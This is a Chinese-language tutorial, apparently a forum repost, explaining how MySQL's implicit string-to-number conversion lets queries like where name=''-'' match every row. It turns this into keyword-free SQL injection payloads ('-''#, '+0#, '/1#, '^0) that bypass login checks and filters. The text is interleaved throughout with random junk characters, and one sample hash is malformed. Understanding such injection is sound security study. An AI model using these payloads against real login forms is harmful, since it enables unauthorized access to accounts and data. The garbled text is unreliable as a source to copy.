我们先来看这样一个场景。" k1 c: Y: l7 K+ m" G$ c
有以下表结构: % l* p( g( l4 O+ O6 M4 q& X
3 V4 x, l0 S5 t6 n# e1 k# @mysql> desc admin;7 n$ R& z4 Q% d
+----------+--------------+------+-----+---------+----------------+" \6 x5 H3 D; k! p( H5 g
| Field | Type | Null | Key | Default | Extra |+ N1 `3 S4 r% C) ~
+----------+--------------+------+-----+---------+----------------+
* Y. ]! m% ] P1 W; x; n0 A| id | mediumint(9) | NO | PRI | NULL | auto_increment |
) D# l G) a% A% V' D| name | char(32) | NO | UNI | NULL | |
, P& a; s5 Q5 k+ q- L| password | char(32) | NO | UNI | NULL | |& w0 G0 Y) b/ X4 m
+----------+--------------+------+-----+---------+----------------+
1 }8 e6 J4 }: V5 X/ S3 rows in set (0.00 sec); ^- d [4 G [
执行select * from admin;,成功返回所有记录内容。
4 A; z V6 t: T2 S& B, v7 c, N2 U ]1 x3 o. F
0 v- M' R( [; K L
+----+--------+----------------------------------+
& I# `+ J7 r5 w; X| id | name | password |! D/ h$ y# w, S4 W: \) E7 M
+----+--------+----------------------------------+
, k3 n x0 b1 j7 t2 R, w| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |0 b3 q# C& j9 u8 c- O
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |# X( D- x' v- |+ C0 {4 ]# h
| 4 | n00b | ff80e8508d39047460921792273533a4 |+ f& t1 P1 x- t0 ]" O) o
+----+--------+----------------------------------+2 p6 T/ ~9 v' q% [$ d" i4 F
3 rows in set (0.00 sec)
* a2 w0 U( w4 B* I0 ~; \2 p1 r执行select * from admin where name=”;,没有匹配到任何记录。 9 f6 k( s C9 y0 T6 _
. O0 s7 c& S' n! @ t X5 Umysql> select * from admin where name = '';) Y4 l2 I+ c1 A, T) t" F2 {9 M3 I
Empty set (0.00 sec)/ `- o/ O: {4 r) ?. \+ R
那么我们来执行select * from admin where name = ”-”;( |# Q- c. o# S: |7 y8 t9 C& P
- j+ K3 Y- F& d3 k( V
; o( x- A& N, `
+----+--------+----------------------------------+' ~ @) ^1 }& V/ E* g
| id | name | password |
3 ]* `6 B( q8 S$ J% E' ?+----+--------+----------------------------------+6 ]% Z: j' C* W1 ?
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |- ^' W( |5 p& v. R) l( Z
| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
- L& y7 r% ]; a3 \; O| 4 | n00b | ff80e8508d39047460921792273533a4 |" e* m. s* M4 t$ j+ S$ L
+----+--------+----------------------------------+
3 F8 @8 r$ C6 l, A1 t3 rows in set, 3 warnings (0.00 sec), L9 `& g/ y5 n n B
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息:
! w. q1 ~5 I' l2 c. n- n$ i& }" ?
- @7 n8 K. w4 w. `: g4 g2 d" ~mysql> show warnings;
9 @& ^5 [* O: F5 f; L+---------+------+------------------------------------------ v7 \8 }1 y! v7 N) a
| Level | Code | Message
" ]5 R% J2 ^4 c$ |# s5 j; y+---------+------+------------------------------------------$ u# I5 q- }, D, D; @
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin$ l* ^& N6 Y4 o' I! l
| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
+ M) D/ Y$ X. s9 ?" W9 J5 T| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b9 s7 Q. D; [9 Q& |
+---------+------+------------------------------------------6 C! \" m0 A) G3 k: s+ T* {
3 rows in set (0.00 sec)# ]/ [3 R2 h/ T' l: ^4 C$ [: d
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
0 r6 ~% b% d1 J- J$ H* B1 w1 W. u( L& v9 A F _% H
mysql> select ''-'';
) k R& Y3 }/ G& z8 _+-------+
1 K& O) x% T! n1 y3 C1 r| ''-'' |
. V" i5 M7 i+ ^: i8 S/ A' N6 r/ X+-------+0 _ G# x8 E; k$ s+ @* |, i
| 0 |
! W% b' [6 ]) Q9 a6 R* ~+-------+
( d6 [3 A# a9 W. t1 row in set (0.00 sec)
, f% V# H0 S! ~' e8 u8 P返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
" T1 j; U: R& c) C4 a2 X+ l, n+ L7 R. B9 a( i
mysql> select CAST((select name from admin limit 1,1) as DECIMAL);) V2 G, C( F$ {7 |
+-----------------------------------------------------++ `; V. r' u7 P6 `! C( \! y0 d% c
| CAST((select name from admin limit 1,1) as DECIMAL) |
8 q9 x# \# M2 M/ ~+-----------------------------------------------------+2 |! A% u+ O/ ?; ^8 H! T5 @
| 0 |
! [2 S. _# @- U& l2 k$ x- j+-----------------------------------------------------+9 j4 R5 x' Y1 X
1 row in set, 1 warning (0.00 sec)
3 p6 T2 ?% e9 p! U3 c! i因此where语句构成了相等的条件,where 0=”=”,记录被返回。 " ~. h3 s0 o+ ]! G# `
! ` [( N/ z" ^6 t6 [& ?9 r3 KSQL注入场景: http://www.sqlzoo.net/hack/
4 d/ K' F+ r3 l# H( V) _8 |
4 Q8 \, k4 W" D! h: r
; q* s9 z( x' n6 ?9 }% x, ?1 I9 Z+ r6 q* o9 u
I* P0 P/ Z5 g2 Y+ F: t `, ~
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。
* y) `7 S* H4 Z' ~- a
! u( |0 x; ^7 A. B8 M2 z2 Z那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 3 B, \# F$ F8 T
& e% }+ w. c# E" N1 f( {
8 \8 c: ~- c& s. E3 b' y9 C: Q4 S8 L7 j( }$ [6 J
7 b X! w) ?+ t4 k
仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
, k2 E$ Q2 b) f+ x
5 e# l- k! o* _0 n* O0 x7 G; P4 @
3 J( K* u9 m7 c4 V. V, Q' K _8 @! v/ j4 `* L, q, k! G
除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可$ \5 L1 A6 Z2 `8 a: S7 s
* U* H+ k4 E6 D
: k8 C9 S4 u2 o2 _( {5 `mysql> select ''/1;
/ X3 L5 Y' y/ b5 [1 y+------+5 k$ s: J1 h6 S1 ]# h; U! w( @
| ''/1 |& q1 f2 O& G) I+ \7 D# s% c
+------+
5 C5 ?$ D2 Z' Z4 I9 y A* ]2 n8 c| 0 |
' _: R5 C p1 r/ L: @4 y, c, H$ E+------+
2 ]8 d& @, y3 L. B! k1 row in set (0.00 sec)8 v2 \/ U# y% U4 C
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。
& h3 `! O/ q0 N3 n, B+ k$ U x
2 ^& o9 l/ g& T! S! S0 n, ?利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。3 o4 H' P9 D5 R, x3 J2 Q/ |
|
|